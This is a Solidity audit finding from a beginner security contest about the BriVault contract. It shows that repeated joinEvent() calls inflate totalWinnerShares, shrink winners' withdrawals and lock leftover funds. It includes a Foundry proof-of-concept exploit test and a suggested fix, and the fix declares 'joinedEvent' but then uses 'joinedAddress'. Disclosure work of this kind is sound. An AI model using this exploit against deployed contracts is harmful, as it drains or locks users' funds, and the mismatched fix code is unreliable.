BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-01] Users can call `joinEvent()` repeatedly, inflating the calculation of `totalWinnerShares` and depleting withdrawal amounts for winning users while locking remaining assets in the contract

iainlim

[H-01] Users can call joinEvent() repeatedly, inflating the calculation of totalWinnerShares and depleting withdrawal amounts for winning users while locking remaining assets in the contract

Description

When users call briVault.joinEvent(countryId), the following variables are updated:

userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
usersAddress.push(msg.sender);

Crucially, users are not prevented from calling joinEvent() multiple times. This allows msg.sender to do two things:

  1. Assign their share balance to userSharesToCountry[msg.sender][countryId] for multiple country IDs without overwriting/deleting previous entries.

  2. Push their address to the usersAddress[] array multiple times.

When the owner calls setWinner(), the internal function _getWinnerShares() is called, which loops over usersAddress[] and adds each address's winning shares to totalWinnerShares:

function _getWinnerShares () internal returns (uint256) {
​
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

However, if a winning user had previously called joinEvent() multiple times, then their address will appear in usersAddress[] the same number of times, and their winning share will be added over and over to totalWinningShares, inflating the amount. Alternatively, even if a user didn't win, if they had previously called joinEvent() along with the winning countryId, their shares will be added to totalWinnerShares too, causing a similarly inflated result.

Risk

Likelihood: High

Griefers can carry out this attack easily and cheaply in normal conditions by depositing a small amount of assets and repeatedly calling joinEvent() on every countryId to guarantee exploitation of the vulnerability. Moreover, if such an attacker calls joinEvent() 1000 times, then 1000x of the attacker's deposit will be included in totalWinnerShares. This multiplier effect means large attacks can be executed at relatively low costs.

Impact: High

When winning users call withdraw() to claim their winnings, the transferred amount is calculated as follows:

uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
​
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);

If the vulnerability described above is exploited, then totalWinnerShares will be higher than expected. Consequently, assetToWithdraw will be lower than expected, resulting in reduced winnings for winning users. In extremely inflated cases, winning users may even be unable to recover the full amount of their initial deposit. Any leftover assets (potentially exceeding 90% of deposits) will be locked in the contract permanently, since there is no other way to transfer assets out of the contract without going through the calculation above.

Proof of Concept

Paste the following into briVault.t.sol:

function test_joinMultipleTimes() public {
// user1 and user2 deposit and join normally
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(2);
vm.stopPrank();
​
// user3 deposits and calls joinEvent() five times
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user3);
briVault.joinEvent(3);
briVault.joinEvent(2);
briVault.joinEvent(1);
briVault.joinEvent(1);
briVault.joinEvent(1);
vm.stopPrank();
​
// owner calls setWinner(2). user2 should be the sole winner
vm.warp(eventEndDate+1);
vm.startPrank(owner);
briVault.setWinner(2);
vm.stopPrank();
console.log("user1's shares: ", briVault.balanceOf(user1));
console.log("user2's shares: ", briVault.balanceOf(user2));
console.log("user3's shares: ", briVault.balanceOf(user3));
console.log("Total shares: ", briVault.totalSupply());
console.log("Total winning shares: ", briVault.totalWinnerShares());
console.log("user2's expected % of the winning shares: 100");
console.log("user2's actual % of the winning shares: ", briVault.balanceOf(user2) * 100 / briVault.totalWinnerShares());
​
// all users call withdraw()
console.log("Vault's assets before full withdrawals: ", mockToken.balanceOf(address(briVault)));
vm.prank(user1);
briVault.withdraw();
vm.prank(user2);
briVault.withdraw();
vm.prank(user3);
briVault.withdraw();
// note: no way to retrieve remaining funds
console.log("Vault's assets after full withdrawals: ", mockToken.balanceOf(address(briVault)));
}

Recommended Mitigation

Check whether msg.sender has joined the event before. For example:

Add a new state variable to briVault.sol:

+ mapping(address => bool) joinedEvent;

Then at the start of the joinEvent() function, add:

+ require(!joinedAddress[msg.sender]);
// And at the end, add:
+ joinedAddress[msg.sender] = true;
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!